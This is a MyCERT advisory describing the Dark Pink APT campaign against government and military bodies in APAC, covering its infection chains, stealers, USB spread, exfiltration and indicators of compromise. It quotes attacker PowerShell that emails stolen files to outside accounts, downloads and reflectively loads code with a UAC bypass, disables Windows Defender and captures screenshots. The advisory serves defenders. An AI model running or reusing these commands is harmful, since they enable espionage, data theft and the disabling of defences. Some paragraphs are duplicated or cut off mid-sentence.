# MA-906.012023: MyCERT Advisory - New Dark Pink APT Group Targets Government and Military Organisations in APAC Countries

**Date:** 18 Jan 2023  
**Source:** https://www.mycert.org.my/portal/advisory?id=MA-906.012023  
**Advisory ID:** MA-906.012023

---

**1.0 Introduction**
Recently, MyCERT was informed of an APT attack that targeted several countries in the APAC region, particularly in the South East Asia region. The activity is possibly linked to the Threat Actor (TA), Dark Pink, the name given by Group-IB, generally associated with APT attacks. However, at the present, Group-IB cannot attribute the campaign to any known threat actor, making it highly likely that Dark Pink is an entirely new APT group. The name Dark Pink was coined based on some of the email addresses used by the threat actors during data exfiltration. The APT group has also been termed [Saaiwc Group](https://mp.weixin.qq.com/s/G3gUjg9WC96NW4cRPww6gw) by Chinese cybersecurity researchers.
Dark Pink launched seven successful attacks against high-profile targets between June and December 2022. The victims are located in five APAC countries, namely Vietnam, Malaysia, Indonesia, Cambodia, Philippines and a European country, Bosnia and Herzegovina). Victims included military bodies, government and development agencies, religious organisations, and non-profit organisations. For instance, one unsuccessful attack was launched against a European state development agency based in Vietnam in October 2022. The Dark Pink APT timeline and targets are shown in Figure 1.
Figure 1 - *Dark Pink APT timeline and targets*2.0 Impact**
A successful attack will lead to corporate espionage, stealing or capturing documents, capturing the sound from infected devices' microphones, and exfiltrating messengers' data.
**3.0 Techniques, Tactics and Procedures (TTP)3.1 - Initial access**
Dark Pink used spear-phishing emails to gain initial access to victims' machines. Group-IB found the original email sent by the threat actors to victims, in which the threat actor disguised himself as a job applicant applying for the PR and Communications internship position in a potential victim's organisation. In the email, the threat actor mentions that the vacancy was found on a jobseeker site, which could suggest that the threat actors scanned through job recruitment advertisements on the Internet and used this information to create spear phishing emails.
The particular email contains a shortened URL linking to a free-to-use file-sharing site. The victim is presented with the option to download an optical disk image or the ISO image containing files belonging to the TA that are used to infect the victim’s network. During the investigation into Dark Pink, it was discovered that the threat actors leveraged several different ISO images. Notably, some of the documents contained in these ISO images varied from case to case. According to the information available, it is strongly believed that the Dark Pink TA crafted a unique email to each victim. The threat actors can send the malicious ISO image as a direct attachment to the victim via email.
Figure 2 - *Screenshot of original spear-phishing email sent by Dark Pink APT noting the storage of the ISO image on a file-sharing site.*
The ISO images sent in the spear-phishing emails contained varying numbers of files. Three types of files are found in all of the ISO images sent by the threat actors: a signed executable file, a nonmalicious decoy document (e.g. .doc, .pdf, or .jpg), and a malicious DLL file. Since the spear phishing email is about a job application, it is assumed that the victim will first look for the supposed applicant’s resume, which is often sent as an MS Word document. However, In Dark Pink attacks, the threat actors include a .exe file in the ISO image that mimics an MS Word file. The file contains “.doc” in the file name and the MS Word icon to confuse the victim and make them think the file is safe to open.
Figure 3 - *Screenshot detailing the five files contained in one ISO image seen by Group-IB. Note that the .doc and .dll files are in hidden view.*
Should the victim execute the .exe file first, the malicious DLL file, located in the same folder as the .exe file, will run automatically. This is a technique used by threat actors known as DLL Side-Loading. The primary function of the DLL execution is to ensure that the threat actors’ core malware, TelePowerBot, gains persistence. Before the completion of the file execution, the decoy document (e.g. a letter, resume) is shown on the victim’s screen.
**3.2 – Trojan execution and persistence**
One of the discoveries is the process of how TelePowerBot or KamiKakaBot are launched on the victim’s machine. The malicious DLL file containing one of the above two malware can be located inside the ISO image sent during spear-phishing campaigns. In one instance, the threat actors used a chain of MS Office documents and leveraged [Template Injection](https://attack.mitre.org/techniques/T1221/), whereby the threat actors inserted into the initial document a link to a template document that contains a malicious macro code. In two other cases examined by Group-IB researchers, the threat actors behind Dark Pink launched their malware by the DLL Side-Loading technique. In total, three different kill chains are leveraged by the threat actors, as detailed below.
**3.2.1 - Kill Chain 1: All-inclusive ISO**
The first variant of the infection chain results in an ISO image being sent to the victim through spear-phishing emails. This ISO image includes a malicious DLL file, which contains TelePowerDropper (the name given by Group-IB). The primary goal of this DLL file is to gain persistence for TelePowerBot in the registry of the infected machine. Sometimes, the DLL file can also launch the threat actors’ proprietary stealers (Ctealer or Cucky), which parses data from browsers on the victim’s machine and store it in a local folder. It is important to note that launching any kind of stealer is optional during initial access. Dark Pink can send special commands to download and launch a stealer during all phases of the Sometimes, the DLL file can also launch the threat actors’ proprietary stealers (Ctealer or Cucky), which parses data from browsers on the victim’s machine and stores attack.
Figure 4 - *Graphic detailing the full scheme of Kill Chain 1*.**
Figure 5 - *Graphic detailing the full scheme of Kill Chain 2*
In this instance, the ISO image sent to the victims contains an MS Word document that leads to the automatic download of a malicious template document, which contains TelePowerBot, from Github. In order to evade antivirus defences on an infected machine during initial access, macro code is written into the template document. This technique is known as [Template Injection](https://attack.mitre.org/techniques/T1221/). The macro contains several forms with fields, and during execution, the value of these form fields is read and established as a value in registry keys.
This trick can help the malware avoid detection by antivirus software, as the document itself does not contain any malicious functionalities or code. The coded documents contain forms with several parameters, and the macros contained in these files can read these values and work to ensure the persistence of TelePowerBot on the victim’s machine.
**3.2.2 - Kill Chain 2: Github macros**
The second variation of the infection chain is almost similar to the previous one. The only difference is the file used in the initial stage. During analysis, it was discovered that the threat actors used commands to automatically download a malicious template document containing TelePowerBot from Github upon opening of the .doc contained in the initial ISO file. Macro code written into this template document then ensures the malware's persistence.
In this instance, the ISO image sent to the victims contains an MS Word document that leads to the automatic download of a malicious template document, which contains TelePowerBot, from Github. In order to prevent detection by antivirus software on an infected machine during initial access, macro code is written into the template document. This technique is known as [Template Injection](https://attack.mitre.org/techniques/T1221/). The macro contains several forms with fields, and during execution, the value of these form fields is read and established as a value in registry keys.
This trick can help the malware avoid detection by antivirus software, as the document itself does not contain any malicious functionalities or code. The coded documents contain forms with several parameters. The macros in these files can read these values and work to ensure the persistence of TelePowerBot on the victim’s machine.
**3.2.3 - Kill Chain 3: XML**
The third and final kill chain variant is one that was used in the most recent Dark Pink attack analyzed by Group-IB, which saw the threat actors breached the network of an Indonesian government agency on December 8, 2022. The ISO image sent to the victim in a spear-phishing email contained decoy documents, a signed legitimate MS Word file, and a malicious DLL named KamiKakaDropper. The primary goal of this infection vector is to persist KamiKakaBot on infected machines. In this kill chain, an XML file is located at the end of the decoy document in encrypted view. The malicious DLL file is, as in Kill Chain 1, launched by the DLL Side-Loading technique. Once the DLL file is launched, the XML file that kicks off the next stage of the kill chain will be decrypted from the decoy document and saved in the infected machine.
Figure 6 - *Graphic detailing the full scheme of Kill Chain 3*
After infecting a computer in the victim's network, Dark Pink collects as much information as possible about the victim’s network infrastructure. The threat actors are interested in the following:
- information from standard utility, e.g output of standard utility systeminfo.
- information from web browsers.
- installed software, including antivirus solutions.
- information about connected USB devices and network sharing.
The threat actors also collect a list of network and USB drives that are available for writing, and these are then used for lateral movement. Next, instead of the original file, the attack sees the creation of a LNK file (Windows shortcut) with a command to launch TelePowerDropper. At this stage, the original files are hidden from the user.
It also revealed how Dark Pink carry out lateral movement over USB devices. For this, a new WMI event handler is registered. From this point onwards, each time a USB flash drive is plugged into an infected machine, a specific action will be executed that sees TeleBotDropper downloaded and stored on the flash drive. The process is as follows:
1. The victim plugs a USB flash drive into the infected device.
2. The WMI event is triggered and results in the automatic download of a .ZIP archive from the threat actors’ Github account. This archive has three files: Dism.exe, Dism.sys, and Dismcore.dll. The first of these files is a legitimate file with a valid digital signature. The functionality of the DLL file is to unpack the original executable from file Dism.sys.
3. The archive is extracted to %tmp% folder. The files are then copied to the USB device, where a new folder named “dism” is created. The folder attribution is changed to hidden and system.
4. A file named system.bat is created, containing a command to launch Dism.exe
5. Finally, as many LNK files are created, as there are folders on the USB drive. The attributes of the original folder are changed to hidden and system. A LNK file is created with a command to open the hidden folder in explorer.exe and launch system.bat.
Following this process, the user will see LNK files bearing the same name as folders found on the USB device. Once the user opens this malicious LNK file, TeleBotDropper will be launched by the DLL Side-Loading technique (the functionalities of TeleBotDropper have already been shown in the previous section). As a result, the commands, which read the registry key, decrypt, and launch TelePowerBot, are then transferred to a new machine. It is imperative to remember that this solution works if there is only one folder on the USB device. This is why it is observed different implementations, for example, the creation of LNK files instead of .pdf files (not only for folders) on USB devices. The mechanism of creating LNK files in place of the original files is also used for network sharing.
**3.4 - Data exfiltration**
The threat actors exfiltrate data through ZIP archives. During Dark Pink attacks, all data (list of files from common network shares, web browser data, documents, etc.) that is to be sent to the threat actors is stacked in the $env:tmp\backuplog folder. However, the collection and sending process operate separately from one another. When the infected machine is issued a command to download the $env:tmp\backuplog folder, the list of files will be copied to $env:tmp\backuplog1 folder, added to archive and sent to the threat actors’ Telegram bot. After this step is completed, the $env:tmp\backuplog1 directory is deleted.
Dark Pink threat actors can also leverage their self-made stealers, Cucky and Ctealer, to draw data from infected machines. The functionalities of both of these stealers are the same. They can be used to extract data such as passwords, history, logins, and cookies from web browsers. The stealers themselves do not require any internet connection, as they save the result of the execution (stolen data) to files. Both of the stealers can be downloaded from the threat actors’ Github account automatically by commands issued by the malware.
Group-IB researchers discovered that Dark Pink exfiltrated files via three separate pathways. The first of these pathways see the threat actors use Telegram to receive files. As a device is infected, information is collected in a specific folder by the malware and sent via Telegram by a special command. By extension, the files that are sent to the threat actors are: .doc, .docx, xls,.xlsx,.ppt,.pptx,.pdf.
In addition to Telegram, Group-IB found evidence that the threat actors used Dropbox to exfiltrate data. This method is slightly different to the one used to exfiltrate via Telegram, as it involves a series of PowerShell scripts that transfer files from a specific folder to a Dropbox account by performing an HTTP request with a hardcoded token.
Despite the device being controlled by commands issued by a threat actor-controlled Telegram channel via Telegram bots, some interesting files were sent via email. An example of this command is shown below.
$filepath="$env:tmp/backuplog";
$cred = New-Object System.Management.Automation.PSCredential ("[[email protected]](/cdn-cgi/l/email-protection)",(ConvertTo-SecureString "CHANGED" -AsPlainText -Force));
Send-MailMessage -To "blackpink.301@outlook[.]com" -From "blackred.113@outlook[.]com"
-Body "hello badboy" -SmtpServer "smtp-mail.outlook.com" -Port 587
-Subject "$env:computername" -UseSsl -Credential $cred
-Attachments (gci $filepath).fullname
The list of emails used during the data exfiltration is shown below:
- blackpink.301@outlook[.]com
- alibaba.113@outlook[.]com
- alibaba.113@outlook[.]com.vn
- blackred.113@outlook[.]com
- lanhuong.jsc@outlook[.]com
- nphuongmai.97@outlook[.]com
At this stage, Group-IB researchers believe that the exfiltration method of choice depends on the potential restrictions set out in the victim’s network infrastructure.
**3.5 - Evasion techniques**
During their attacks, the threat actors used an already known technique to bypass User Account Control (UAC) to alter the settings in Windows Defender. They did this by elevating the COM interface. The methods used are not unique and different implementations were found in different programming languages.
Figure 7 - *Screenshot of decompiled executable that allows UAC to be bypassed*
The settings are changed by a special PowerShell script which is received as a command and implemented in .NET application. This command comes in the form of an executable file (in base64 view) that is automatically downloaded from GitHub upon infection. The executable does not gain persistence nor is it saved on an infected system. The executable does not persist and is not saved into an infected system. An example of downloading and launching are shown below.
[Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString(URL)));
[NETLUA.Main]::BypassUAC("powershell\", \"-c {$command}")
The PowerShell command to modify Windows Defender Settings is passed as an argument and is shown as follows:
- Set-MpPreference -DisableArchiveScanning $true -ea 0;
- Set-MpPreference -DisableBehaviorMonitoring $true -Force -ea 0;
- Set-MpPreference -DisableCatchupFullScan $true -Force -ea 0;
- Set-MpPreference -DisableCatchupQuickScan $true -Force -ea 0;
- Set-MpPreference -DisableIntrusionPreventionSystem $true -Force -ea 0;
- Set-MpPreference -DisableIOAVProtection $true -Force -ea 0;
- Set-MpPreference -DisableRealtimeMonitoring $true -Force -ea 0;
- Set-MpPreference -DisableRemovableDriveScanning $true -Force -ea 0;
- Set-MpPreference -DisableRestorePoint $true -Force -ea 0;
- Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan $true -Force -ea 0;
- Set-MpPreference -DisableScanningNetworkFiles $true -Force -ea 0;
- Set-MpPreference -DisableScriptScanning $true -Force -ea 0;
- Set-MpPreference -EnableControlledFolderAccess Disabled -Force -ea 0;
- Set-MpPreference -EnableNetworkProtection AuditMode -Force -ea 0;
- Set-MpPreference -MAPSReporting Disabled -Force -ea 0;
- Set-MpPreference -SubmitSamplesConsent NeverSend -Force -ea 0;
- Set-MpPreference -PUAProtection Disabled -Force -ea 0
The PowerShell commands will be executed using the .NET application as a tool for privilege escalation.
**4.0 ToolsCucky**
- Cucky is a simple custom stealer developed on .NET. A variety of samples were found during the investigation. The most analyzed versions were packed by Confuser. It does not communicate with the network, and the is information collected are saved in the folder %TEMP%\backuplog. Cucky is able to draw data such as passwords, history, logins, and cookies from targeted web browsers. Although there is no information 
- Cucky has the functionality to steal data from the following browsers:
- Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, Kometa, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast Browser, Yandex Browser.
**Ctealer**
- Ctealer is an analog of Cucky but developed on C/C++. TelePowerDropper or a special command issued by the threat actors can be used to deploy Ctealer. The working process is pretty similar to Cucky as well, as it also saves collected files to the %TEMP%\backuplog folder.
- Ctealer can draw information from the following web browsers:
- Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, Kometa, Dragon, Torch, Comodo, Slimjet, 360 Browser, Maxthon, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Yandex Browser.
**TelePowerBot**
- The TelePowerBot will be launched every time a user of an infected machine logs into the system. When this happens, a special script will be launched. The script reads the value of another regkey (e.g HKCU\SOFTWARE\Classes\abcdfile\shell\abcd), which begins decryption and launch of TelePowerBot. The encryption is based on xor where the key is an array number from 0 to 256. Before decryption, the original payload will be decoded from base64.
- The decrypted stage is not final. It is an intermediate stage and also is based on PowerShell and is highly obfuscated. At this stage, the final script has already been stored in the stager, but it is separated into blocks. From this, a base64 string is created, and after decoding, we will be left with a ZIP stream. Finally, after all this, TelePowerBot is launched after unzipping.
- This kind of tool communicates with a Telegram channel to receive new tasks from the threat actors. The bot can communicate with various infected devices, and the bot checks for new commands every 60 seconds. During execution, the bot works with two register keys: HKCU\Environment\Update and HKCU\Environment\guid. The first one stores the last message id, which is processed from the Telegram bot (The parameter update\_id from Telegram). The second key stores the unique identification of infected machines. It is generated by command [guid]::NewGuid() when the bot launches for the first time. Upon registration, the threat actors get various pieces of information about the infected machine such as ip, guid, computer name. The IP address is also ascertained via a get request to https://ifconfig.me/ip. These processes are also based on PowerShell commands, and more details will be shared later by GroupIB.
- Some variants of this module contain additional functionality for ensuring lateral movement. All other functionalities are the same. As per Group-IB analysis, the Telegram parameter can either be hardcoded in the scripts or read from the registry key.
**KamiKakaBot**
- KamiKakaBot is the .NET version of TelePowerBot, and we found very few differences between the pair of them. Before commands are read, KamiKakaBot is able to exfiltrate from the Chrome, MS Edge, and Firefox browsers. It is able to update itself, and once it receives commands, it can pass an argument to the cmd.exe process.
**PowerSploit/Get-MicrophoneAudio**
- As we have noted above, the threat actors behind Dark Pink almost exclusively leveraged custom-made tools. However, to record the microphone audio from infected devices, they turned to a publicly available PowerSploit module - Get-MicrophoneAudio. This is loaded onto the victim’s machine via download from Github. Group-IB researchers found that antivirus software on victim machines blocked this process when the threat actors attempted to launch the module. We found that the threat actors attempted to obfuscate the original PowerSploit module to make it undetectable, and these were unsuccessful. As a result, the threat actors returned to the drawing board and added a script (below) that successfully recorded the microphone audio on infected devices.
- This simple script launches a background task that triggers a standard utility PSR to capture sound every minute. The recorded audio files will be saved inside a ZIP archive that is located in a temporary folder (%TEMP%\record). The files are named according to the following template: 'yyyyMMddHHmmss'. These audio files are then exfiltrated with a separate script that sends them (as a ZIP archive), to the threat actors’ Telegram bot.
**ZMsg (Messenger exfiltration)**
- The threat actors are also interested in stealing data from messengers on infected devices. To this end, they are able to execute commands to identify leading messengers, such as Viber, Telegram, and Zalo. In the case of Viber, these commands allow the threat actors to exfiltrate the %APPDATA%\Viberpc folder on infected devices, which allows them to gain access to the messages and contact lists of the victims.
- If Zalo messenger is present on the victim’s device, the threat actors can launch a command to download a special utility (dubbed ZMsg by Group-IB), from Github. This utility, which is a .NET application based on the FlaUI library, allows the threat actors to exfiltrate the victim’s messages on the Zalo platform. FlaUI is a library that assists with the automatic UI testing of Windows applications, with the entry point usually an application or the desktop to generate an automation element. Through this, it is possible to analyze sub-elements and interact with them.
- ZMsg iterates elements on Windows applications to discover those with particular names. For example, the element with messages has the name “messageView”. All collected information is stored in the %TEMP%\KoVosRLvmU\ folder in files with the .dat and .bin extensions. File names are created as an encoded hex string and are generated in accordance with the below template:
- %PERSON\_NAME%\_%DAY%\_%MONTH%\_%YEAR%
**5.0 Commands**
The threat actors issue commands to an infected device by specifying ip, computer name, or botid. Tasks can also be issued to all infected devices simultaneously.  Several different kinds of commands were noticed. The functionalities of some of these commands overlap, but they are based on PowerShell commands. For example, TelePowerBot can execute a simple standard console tool, such as whoami, or a complex PowerShell script.
During infection, the threat actors execute several standard commands (e.g. net share, Get-SmbShare) to determine what network resources are connected to the infected device. If network disk usage is found, they will begin exploring this disk to find files that may be of interest to them and potentially exfiltrate them. In this campaign, the threat actors can also infect files on USB disks attached to the infected devices. The script below details how the threat actors compile a list of network shares and the removable devices connected to the machine.
(gwmi cim\_logicaldisk|?{($\_.drivetype -eq 2)-and(Test-path $($\_.deviceid)\\)}).deviceid;
(get-smbshare|?{($\_.name -notlike "\*$")-and($\_.name -ne Users)-and($\_.path -like \*:\\\*)}).path;
(Get-SMBMapping|?{$\_.Status -eq "OK"}).remotepath|?{$\_ -notlike '\*\\IPC$'}
The threat actors can also issue a command to take a screenshot of the desktop of the compromised device and save these in the %TEMP% directory. They then download the images by issuing the below command.
Add-type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Screen]::AllScreens|%{
$bounds =$\_.bounds;
if($bounds.width -lt 1920){$bounds.width=1920}
if($bounds.height -lt 1080){$bounds.height=1080}
$image = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($image)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$screen\_file = "$env:tmp\\$($\_.DeviceName.replace('\\\\.\\',''))\_$((get-date).tostring('yyyyMMddHHmmss')).png"
$image.Save($screen\_file)
$graphics.Dispose()
$image.Dispose()
$screen\_file
}
**6.0 Indicators of Compromise (IoCs)File indicators:**
Cucky:
- MD5: 926027F0308481610C85F4E3E433573B
- SHA1: 24F65E0EE158FC63D98352F9828D014AB239AE16
- SHA256: 9976625B5A3035DC68E878AD5AC3682CCB74EF2007C501C8023291548E11301A
Ctealer Loader:
- MD5: 728AFA40B20DF6D2540648EF845EB754
- SHA1: D8DF672ECD9018F3F2D23E5C966535C30A54B71D
- SHA256: C60F778641942B7B0C00F3214211B137B683E8296ABB1905D2557BFB245BF775
Packed ctealer:
- MD5: 7EAF1B65004421AC07C6BB1A997487B2
- SHA1: 18CA159183C98F52DF45D3E9DB0087E17596A866
- SHA256: E3181EE97D3FFD31C22C2C303C6E75D0196912083D0C21536E5833EE7D108736
- MD5: 732091AD428419247BCE87603EA79F00
- SHA1: 142F909C26BD57969EF93D7942587CDF15910E34
- SHA256: E45DF7418CA47A9A4C4803697F4B28C618469C6E5A5678213AB81DF9FCC9FD51
**File path:**
- $env:tmp\backuplog
- $env:tmp\backuplog1
- $env:appdata\archive.zip
- $env:appdata\telegram.txt
- $env:tmp\afkslfsa.csv
- $env:tmp\AB.zip
- $Env:tmp\AB
**Scheduled task name:**
Microsoft Idle
**Mutex:**
gwgXSznM-Jz92k33A-uRcCCksA-9XAU93r5
**Registry path:**
- HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
- HKCU\Environment\OSBuild
- HKCU\Environment\STMP
- HKCU\Environment\SYSPS
- HKCR:\zolfile\shell\open\command
- HKCR:\zolofile\shell\open\command\zolo
- HKCU:\Environment\guid
- HKCU:\Environment\Update
- HKCU:\Environment\UserInitMprLogonScript
- HKCU:\SOFTWARE\\Classes\\abcdfile\shell\abcd\
- HKCU:\SOFTWARE\Classes\.4ID\
- HKCU:\SOFTWARE\Classes\.abcd
- HKCU:\SOFTWARE\Classes\.psr
- HKCU:\SOFTWARE\Classes\.zol
- HKCU:\SOFTWARE\Classes\.zolo
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\DelegateExecute
- HKCU:\SOFTWARE\Classes\4IDfile\shell\open\command\DelegateExecute\
- HKCU:\SOFTWARE\Classes\abcdfile\shell
- HKCU:\SOFTWARE\Classes\abcdfile\shell\aaaa
- HKCU:\SOFTWARE\Classes\abcdfile\shell\abcd
- HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command
- HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\abcd
- HKCU:\SOFTWARE\Classes\abcdfile\shell\open\command\DelegateExecute
- HKCU:\SOFTWARE\Classes\psrfile\shell\open\command
- HKCU:\SOFTWARE\Classes\psrfile\shell\open\command -Name DelegateExecute
- HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\DelegateExecute
- HKCU:\SOFTWARE\Classes\zolfile\shell\open\command\zolo
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name DelegateExecute
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name DelegateExecute
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name zolo
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command -Name zolo -Value
- HKCU:\SOFTWARE\Classes\zolofile\shell\open\command\zolo
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Forfiles
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Psr
- HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Recents
**7.0 Recommendations**
As for the recommendations, MyCERT highly suggests the following as preventive measures against possible infections and compromises by the APT threats presented in this advisory:
- Follow and implement security policies, guidelines, safe email and web browsing best practices in the organisation, inclusive of all levels of employees.
- Ensure systems, applications and third-party add-ons are updated with the latest upgrades and security patches.
- If using older versions of operating systems or software, ensure they are upgraded to the latest versions, as older versions may have some vulnerabilities that intruders can manipulate. Aside from that, please make sure specific web-based applications and network-based appliances are patched accordingly.
- Refer to respective vendors' websites for the latest patches, service packs and upgrades. Otherwise, you may also refer to MyCERT’s website for the latest advisories on software vulnerabilities with pointers to patches, service packs and upgrades.
- Ensure the Anti-virus software deployed on hosts and email gateways is updated with the latest signature files and is enabled to scan all files.
- Ensure systems are configured appropriately to avoid incidents such as information disclosure and directory listing caused by system misconfiguration.
- Ensure systems logging is always enabled, especially for critical systems.
- Perform regular backups of all critical information to limit the impact of data loss or destruction and help expedite recovery. Ideally, the backup must be done daily, on independent media and stored offline at an alternate site.
- Organisations are recommended to apply a defence-in-depth strategy in protecting networks. Firewalls, intrusion prevention systems (IPS), and network and host-based intrusion detection systems (IDS) can prevent malicious activities by blocking and dropping if it does occur and keeping track of most of the generic attacks.
- To block and set rules in the firewall, IDS or IPS of the IOC found
Generally, MyCERT advises the users and administrators to be updated with the latest security announcements and follow best practice security policies to determine which updates should be applied.
It should be noted that much of the inputs for the advisory is based on Group-IB's analysis and findings.
For further enquiries, please contact MyCERT through the following channels:
E-mail: cyber999[at]cybersecurity.my 
Phone: 1-300-88-2999 (monitored during business hours) 
Mobile: +60 19 2665850 (24x7 call incident reporting) 
Business Hours: Mon - Fri 09:00 -18:00 MYT 
Web: <https://www.mycert.org.my> 
Twitter: <https://twitter.com/mycert> 
Facebook: <https://www.facebook.com/mycert.org.my>
**8.0    References**
- <https://blog.group-ib.com/dark-pink-apt>
- <https://cybernews.com/security/dark-pink-apt-group/>
- <https://thehackernews.com/2023/01/dark-pink-apt-group-targets-governments.html>
- <https://www.bleepingcomputer.com/news/security/new-dark-pink-apt-group-targets-govt-and-military-with-custom-malware/>